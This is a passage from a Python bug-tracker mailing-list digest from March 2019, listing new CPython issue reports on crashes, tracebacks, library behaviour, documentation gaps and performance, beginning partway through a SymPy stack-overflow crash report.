  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 551 in __sub__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1269 in _handle_finite_sets
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1900 in simplify_intersection
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1200 in __new__
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 109 in intersect
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 309 in is_subset
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1348 in reduce
  File "/Users/aaronmeurer/Documents/Python/sympy/sympy/sympy/sets/sets.py", line 1338 in __new__
  ...
Abort trap: 6


Unfortunately, I'm not able to find a simpler reproducing example for CPython master, as it seems to be heavily dependent on the exact state of the call stack.

I also get a crash report from OS X if that's helpful:

Process:               python.exe [86693]
Path:                  /Users/USER/Documents/*/python.exe
Identifier:            python.exe
Version:               0
Code Type:             X86-64 (Native)
Parent Process:        bash [612]
Responsible:           python.exe [86693]
User ID:               501

Date/Time:             2019-03-19 13:00:28.968 -0600
OS Version:            Mac OS X 10.12.6 (16G1917)
Report Version:        12
Anonymous UUID:        5AC59B85-E5D2-1EA1-6881-7497830B3180

Sleep/Wake UUID:       44F9CEAE-2035-49EE-A6EF-02AB11D4F067

Time Awake Since Boot: 140000 seconds
Time Since Wake:       5200 seconds

System Integrity Protection: enabled

Crashed Thread:        0  Dispatch queue: com.apple.main-thread

Exception Type:        EXC_CRASH (SIGABRT)
Exception Codes:       0x0000000000000000, 0x0000000000000000
Exception Note:        EXC_CORPSE_NOTIFY

Application Specific Information:
abort() called

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib        	0x00007fffa006ed42 __pthread_kill + 10
1   libsystem_pthread.dylib       	0x00007fffa015c457 pthread_kill + 90
2   libsystem_c.dylib             	0x00007fff9ffd4420 abort + 129
3   python.exe                    	0x000000010ba4f110 fatal_error + 64 (pylifecycle.c:1983)

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x0000000000000000  rbx: 0x0000000000000006  rcx: 0x00007fff542a7c18  rdx: 0x0000000000000000
  rdi: 0x0000000000000307  rsi: 0x0000000000000006  rbp: 0x00007fff542a7c40  rsp: 0x00007fff542a7c18
   r8: 0x0000000000000040   r9: 0x00007fffa8e46040  r10: 0x0000000008000000  r11: 0x0000000000000206
  r12: 0x000000010bb10470  r13: 0x0000000000000000  r14: 0x00007fffa8e623c0  r15: 0x0000000000000000
  rip: 0x00007fffa006ed42  rfl: 0x0000000000000206  cr2: 0x00007fffa8e44128
  
Logical CPU:     0
Error Code:      0x02000148
Trap Number:     133

----------
components: Interpreter Core
messages: 338399
nosy: asmeurer
priority: normal
severity: normal
status: open
title: "Fatal Python error: Cannot recover from stack overflow" from SymPy tests
type: crash
versions: Python 3.6, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36370>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:28:41 2019
From: report at bugs.python.org (Maxim)
Date: Tue, 19 Mar 2019 19:28:41 +0000
Subject: [New-bugs-announce] [issue36371] FancyGetopt.generate_help crashes
 with TypeError
Message-ID: <1553023721.87.0.244603228495.issue36371@roundup.psfhosted.org>


New submission from Maxim <m.zemskov1 at gmail.com>:

Hi!

FancyGetopt.generate_help crashes if help text in option_table is None:

instance = FancyGetopt([('long', 'l', None)])
help_text = instance.generate_help()

TypeError                                 Traceback (most recent call last)
<ipython-input-40-04e4e328455e> in <module>
----> 1 a.generate_help()

/usr/local/Cellar/python/3.7.2_2/Frameworks/Python.framework/Versions/3.7/lib/python3.7/distutils/fancy_getopt.py in generate_help(self, header)
    352                                  (max_opt, opt_names, text[0]))
    353                 else:
--> 354                     lines.append("  --%-*s" % opt_names)
    355
    356             for l in text[1:]:

TypeError: * wants int

This code is in master branch too.

And if help_text is empty string code behavior is like a help_text is actually pass and added 2 whitespaces.

----------
components: Library (Lib)
messages: 338401
nosy: crztssr
priority: normal
severity: normal
status: open
title: FancyGetopt.generate_help crashes with TypeError
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36371>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:48:59 2019
From: report at bugs.python.org (Brrr Grrr)
Date: Tue, 19 Mar 2019 19:48:59 +0000
Subject: [New-bugs-announce] [issue36372] Flawed handling of URL redirect
Message-ID: <1553024939.15.0.48602014651.issue36372@roundup.psfhosted.org>


New submission from Brrr Grrr <ab16180 at gmail.com>:

I'm unable to use `urlopen` to open 'https://www.annemergmed.com/article/S0196-0644(99)70271-4/abstract' with Python 3.7. I believe this to be flawed URL redirection, possibly due to flawed URL parsing.

```python
from sys import version
version
'3.7.2 (default, Dec 25 2018, 03:50:46) \n[GCC 7.3.0]'
from urllib.request import urlopen
urlopen('https://www.annemergmed.com/article/S0196-0644(99)70271-4/abstract')
Traceback (most recent call last):
  File "<input>", line 1, in <module>
  File "/usr/lib/python3.7/urllib/request.py", line 222, in urlopen
    return opener.open(url, data, timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 755, in http_error_302
    return self.parent.open(new, timeout=req.timeout)
  File "/usr/lib/python3.7/urllib/request.py", line 531, in open
    response = meth(req, response)
  File "/usr/lib/python3.7/urllib/request.py", line 641, in http_response
    'http', request, response, code, msg, hdrs)
  File "/usr/lib/python3.7/urllib/request.py", line 563, in error
    result = self._call_chain(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 503, in _call_chain
    result = func(*args)
  File "/usr/lib/python3.7/urllib/request.py", line 745, in http_error_302
    self.inf_msg + msg, headers, fp)
urllib.error.HTTPError: HTTP Error 302: The HTTP server returned a redirect error that would lead to an infinite loop.
The last 30x error message was:
Found
```

----------
components: IO
messages: 338404
nosy: bugburger
priority: normal
severity: normal
status: open
title: Flawed handling of URL redirect
type: crash
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36372>
_______________________________________

From report at bugs.python.org  Tue Mar 19 15:55:35 2019
From: report at bugs.python.org (dtrauma)
Date: Tue, 19 Mar 2019 19:55:35 +0000
Subject: [New-bugs-announce] [issue36373] asyncio.gather: no docs for
 deprecated loop parameter
Message-ID: <1553025335.55.0.640410639085.issue36373@roundup.psfhosted.org>


New submission from dtrauma <python-bugs at digital-trauma.de>:

https://docs.python.org/3.7/library/asyncio-task.html#running-tasks-concurrently

For asyncio.gather, the docs should probably say

The loop argument is deprecated and scheduled for removal in Python 3.10.

as they do for all the other loop arguments of other functions.

----------
assignee: docs at python
components: Documentation
messages: 338406
nosy: docs at python, dtrauma
priority: normal
severity: normal
status: open
title: asyncio.gather: no docs for deprecated loop parameter
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36373>
_______________________________________

From report at bugs.python.org  Tue Mar 19 17:45:28 2019
From: report at bugs.python.org (Zackery Spytz)
Date: Tue, 19 Mar 2019 21:45:28 +0000
Subject: [New-bugs-announce] [issue36374] A possible null pointer
 dereference in compile.c's merge_consts_recursive()
Message-ID: <1553031928.75.0.0804160470013.issue36374@roundup.psfhosted.org>


New submission from Zackery Spytz <zspytz at gmail.com>:

If PyDict_SetDefault() fails in merge_consts_recursive(), Py_INCREF() will be called on a null pointer.

----------
components: Interpreter Core
messages: 338411
nosy: ZackerySpytz
priority: normal
severity: normal
status: open
title: A possible null pointer dereference in compile.c's merge_consts_recursive()
type: crash
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36374>
_______________________________________

From report at bugs.python.org  Tue Mar 19 20:14:00 2019
From: report at bugs.python.org (Cameron Simpson)
Date: Wed, 20 Mar 2019 00:14:00 +0000
Subject: [New-bugs-announce] [issue36375] PEP 499 implementation: "python -m
 foo" binds the main module as both __main__ and foo in sys.modules
Message-ID: <1553040840.44.0.769944520222.issue36375@roundup.psfhosted.org>


New submission from Cameron Simpson <cs at cskk.id.au>:

This issue is to track the implementation of PEP 499 which we hope to get into the upcoming 3.8 release. I've made it because cpython PRs want a bpo number in the subject line.

I'll link in the proposed PR once I've filed off a few grammar issues I've just noticed (documentation English grammar).

----------
components: Interpreter Core
messages: 338425
nosy: cameron, ncoghlan
priority: normal
severity: normal
status: open
title: PEP 499 implementation: "python -m foo" binds the main module as both __main__ and foo in sys.modules
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36375>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:23:08 2019
From: report at bugs.python.org (=?utf-8?b?VmVkcmFuIMSMYcSNacSH?=)
Date: Wed, 20 Mar 2019 02:23:08 +0000
Subject: [New-bugs-announce] [issue36376] Wrong position of SyntaxError in
 IDLE
Message-ID: <1553048588.12.0.98853436877.issue36376@roundup.psfhosted.org>


New submission from Vedran ?a?i? <vedgar at gmail.com>:

Open IDLE, New File, put this inside:

    'abcde\
    ')
    x = 123456789

And try to Run Module. Of course, the syntax error is extra ) at the end of the second line. But it is not highlighted. What's highlighted is 123 in the third line. Some additional observations:

* the length of the first line determines somehow what's highlighted in the third one: the longer the first line, more to the right the highlight goes in the third;

* third line can be whatever you want, it just needs to be long enough for a highlight to appear;

* you can even have blank lines between them;

* the same phenomenon appears if you use triple-quoted strings instead of single-quoted with backslash line continuation.

----------
messages: 338432
nosy: veky
priority: normal
severity: normal
status: open
title: Wrong position of SyntaxError in IDLE

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36376>
_______________________________________

From report at bugs.python.org  Tue Mar 19 22:30:09 2019
From: report at bugs.python.org (parkito)
Date: Wed, 20 Mar 2019 02:30:09 +0000
Subject: [New-bugs-announce] [issue36377] Python 'datastructures.html' docs
 page needs improvement because of ambiguity
Message-ID: <1553049009.71.0.761140685062.issue36377@roundup.psfhosted.org>


New submission from parkito <shoark7 at gmail.com>:

Hi, I have lots of interests in python data structures and their inheritance relationships so I often look around in python collections and collections.abc module.

```
https://docs.python.org/3/tutorial/datastructures.html#comparing-sequences-and-other-types
```

Please see the last section of the page. I know all Python users are well aware of Sequence comparisons like in tuples and list. This page also mentions that 

'Sequence objects may be compared to other objects with the same sequence type' in the very first line of the page.

However, we have to know that 'range' is also a subclass of 'Sequence' but 'range' objects are not comparable to each other.

I tested 'range(1, 3) < 'range(3)' in my interpreter. If it compares correctly as both are same Sequence types, result would be 'False'. Instead, TypeError was raised. It's because comparision methods(__gt__, __lte__, etc) are not impleneted here. I thought range objects would compare the values with peeking. But they don't. 


So, I recommend you to implement 5.8 section in this page as follows:
  
   -> Please specify that 'not all' Sequence subclass are comparable to the same classes: typically, 'range'.

'range' is a good example because every Python user uses 'range' in for loop.

----------
assignee: docs at python
components: Documentation
hgrepos: 382
messages: 338433
nosy: docs at python, shoark7
priority: normal
severity: normal
status: open
title: Python 'datastructures.html' docs page needs improvement because of ambiguity
type: enhancement
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36377>
_______________________________________

From report at bugs.python.org  Wed Mar 20 04:44:18 2019
From: report at bugs.python.org (Dani Fojo)
Date: Wed, 20 Mar 2019 08:44:18 +0000
Subject: [New-bugs-announce] [issue36378] Add support to load from paths to
 json.load
Message-ID: <1553071458.39.0.659237706871.issue36378@roundup.psfhosted.org>


New submission from Dani Fojo <dani.fojo at gmail.com>:

Add support to json.load to read from a string or Path object containing the path to a json file. Many libraries (like Numpy) support this behavior.

----------
components: Library (Lib)
messages: 338442
nosy: Dani Fojo
priority: normal
severity: normal
status: open
title: Add support to load from paths to json.load
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36378>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:01:33 2019
From: report at bugs.python.org (Zuzu_Typ)
Date: Wed, 20 Mar 2019 12:01:33 +0000
Subject: [New-bugs-announce] [issue36379] nb_inplace_pow is always called
 with an invalid argument
Message-ID: <1553083293.5.0.811205671176.issue36379@roundup.psfhosted.org>


New submission from Zuzu_Typ <zuzu.typ at gmail.com>:

Using the C-API, the inplace_pow numbermethod is always called with the third argument pointing to an invalid address.

The reason is likely that self.__ipow__ only takes one argument, resulting in a binaryfunc (self, arg), though inplace_pow is a ternaryfunc.
When trying to use the third argument in any way, Python crashes.

The third arg should be nonexistent, NULL or Py_None.

----------
components: Build, Extension Modules
messages: 338458
nosy: Zuzu_Typ
priority: normal
severity: normal
status: open
title: nb_inplace_pow is always called with an invalid argument
type: crash
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36379>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:13:26 2019
From: report at bugs.python.org (=?utf-8?b?0J3QuNC60LjRgtCwINCh0LzQtdGC0LDQvdC40L0=?=)
Date: Wed, 20 Mar 2019 12:13:26 +0000
Subject: [New-bugs-announce] [issue36380] collections.Counter in-place
 operators are unexpectedly slow
Message-ID: <1553084006.71.0.725416830974.issue36380@roundup.psfhosted.org>


New submission from ?????? ???????? <nikitozzz.pl at gmail.com>:

All of collections.Counter in-place operators: +=, -=, |= and &= are obviously expected to have time complexity O(b) as in the following example:

a = Counter(...)  # e.g 1M elements
b = Counter(...)  # e.g. 10 elements
a += b

But in fact, all of them are having O(a + b) time complexity due to inefficient implementation of _keep_positive method, which checks ALL of the elements of "a" counter after modification while it's required only to check CHANGED elements (no more than a size of "b") having time complexity O(b).

See https://github.com/python/cpython/blob/master/Lib/collections/__init__.py#L819 

It also unclear if there's even a need to check for non-positives with _keep_positive in ops like __iadd__, __iand__ and __ior__ (except __isub__) as it expects Counters which are always positive.

This unobvious inefficiency leads to unnecessary large execution times while, for example, iteratively accumulating some small Counters into a large one (frequent case). In this case .update method works much faster, but it doesn't check for zeros or negatives for some reason (is this a bug too?).

----------
components: Library (Lib)
messages: 338461
nosy: ?????? ????????
priority: normal
severity: normal
status: open
title: collections.Counter in-place operators are unexpectedly slow
type: performance
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36380>
_______________________________________

From report at bugs.python.org  Wed Mar 20 08:58:55 2019
From: report at bugs.python.org (Inada Naoki)
Date: Wed, 20 Mar 2019 12:58:55 +0000
Subject: [New-bugs-announce] [issue36381] Preapre for mandatory
 PY_SSIZE_T_CLEAN
Message-ID: <1553086735.98.0.572102107616.issue36381@roundup.psfhosted.org>


New submission from Inada Naoki <songofacandy at gmail.com>:

Raise warning for # use without PY_SSIZE_T_CLEAN.

* 3.8: PendingDeprecationWarning
* 3.9: DeprecationWarning
* 3.10 (or 4.0): Remove PY_SSIZE_T_CLEAN and use Py_ssize_t always

----------
components: Extension Modules
messages: 338466
nosy: inada.naoki, serhiy.storchaka, vstinner
priority: normal
severity: normal
status: open
title: Preapre for mandatory PY_SSIZE_T_CLEAN
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36381>
_______________________________________

From report at bugs.python.org  Wed Mar 20 09:40:50 2019
From: report at bugs.python.org (Markus)
Date: Wed, 20 Mar 2019 13:40:50 +0000
Subject: [New-bugs-announce] [issue36382] socket.getfqdn() returns domain
 "mshome.net"
Message-ID: <1553089250.0.0.713601521927.issue36382@roundup.psfhosted.org>


New submission from Markus <markus.kramer at posteo.de>:

In a corporate network, `wmic computersystem get domain` returns the correct domain.

On some clients, the Python query "socket.getfqdn()" returns the wrong domain, namely "mshome.net"

>>> import socket
>>> socket.getfqdn()
'*****.mshome.net'

I have only found only very old nominations of that domain.

Problems persists after reboot.

Tried versions 
Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 30 2018, 16:30:26) [MSC v.1500 64 bit (AMD64)] on win32
Python 3.7.2 (tags/v3.7.2:9a3ffc0492, Dec 23 2018, 22:20:52) [MSC v.1916 32 bit (Intel)] on win32

Currently, I suspect this is a DHCP configuration problem.

----------
components: Windows
messages: 338472
nosy: markuskramerIgitt, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: socket.getfqdn() returns domain "mshome.net"
type: behavior
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36382>
_______________________________________

From report at bugs.python.org  Wed Mar 20 12:53:48 2019
From: report at bugs.python.org (Mark Campanelli)
Date: Wed, 20 Mar 2019 16:53:48 +0000
Subject: [New-bugs-announce] [issue36383] In Windows 10 virtual environments
 distutils.sysconfig.get_python_inc() reports base Python include directory
Message-ID: <1553100828.16.0.35045767323.issue36383@roundup.psfhosted.org>


New submission from Mark Campanelli <campanelli at resonon.com>:

On Windows 10 64bit, using virtualenv in Python 2.7.15 or venv in Python 3.7.2, calling distutils.sysconfig.get_python_inc() returns the path to the include directory for the (respective) Python base installation instead of the include directory installed with the virtual environment. This happens regardless of the True/False value of the  plat_specific argument. I would expect the virtual environment's include directory to be returned.

----------
components: Distutils
messages: 338494
nosy: Mark Campanelli, dstufft, eric.araujo
priority: normal
severity: normal
status: open
title: In Windows 10 virtual environments distutils.sysconfig.get_python_inc() reports base Python include directory
type: behavior
versions: Python 2.7, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36383>
_______________________________________

From report at bugs.python.org  Wed Mar 20 19:40:09 2019
From: report at bugs.python.org (Joel Croteau)
Date: Wed, 20 Mar 2019 23:40:09 +0000
Subject: [New-bugs-announce] [issue36384] ipaddress Should not reject IPv4
 addresses with leading zeroes as ambiguously octal
Message-ID: <1553125209.55.0.0358803413865.issue36384@roundup.psfhosted.org>


New submission from Joel Croteau <jcroteau at liveramp.com>:

I understand to a certain extent the logic in not allowing IPv4 octets that might ambiguously be octal, but in practice, it just seems like it creates additional parsing hassle needlessly. I have never in many years of working on many networked systems seen anyone use dotted octal format, it is actually specifically forbidden by RFC 3986 (https://tools.ietf.org/html/rfc3986#section-7.4), and it means that the ipaddress module throws exceptions on many perfectly valid IP addresses just because they have leading zeroes. Since the module doesn't support dotted octal or dotted hex anyway, this check seems a little pointless. If nothing else, there should be a way to disable this check by specifying that your IPs are in fact dotted decimal, otherwise it seems like it's just making you have to do extra parsing work or just write your own implementation.

----------
components: Library (Lib)
messages: 338514
nosy: Joel Croteau
priority: normal
severity: normal
status: open
title: ipaddress Should not reject IPv4 addresses with leading zeroes as ambiguously octal
type: behavior
versions: Python 2.7, Python 3.5, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36384>
_______________________________________

From report at bugs.python.org  Wed Mar 20 21:44:32 2019
From: report at bugs.python.org (Emmanuel Arias)
Date: Thu, 21 Mar 2019 01:44:32 +0000
Subject: [New-bugs-announce] [issue36385] Add ``elif`` sentence on to avoid
 multiple ``if``
Message-ID: <1553132672.06.0.731683076003.issue36385@roundup.psfhosted.org>


New submission from Emmanuel Arias <emmanuelarias30 at gmail.com>:

Currently, when arguments on Parser/asdl_c.py are parsed
?f sentence is used. This PR(https://github.com/python/cpython/pull/12478) Propose to use elif
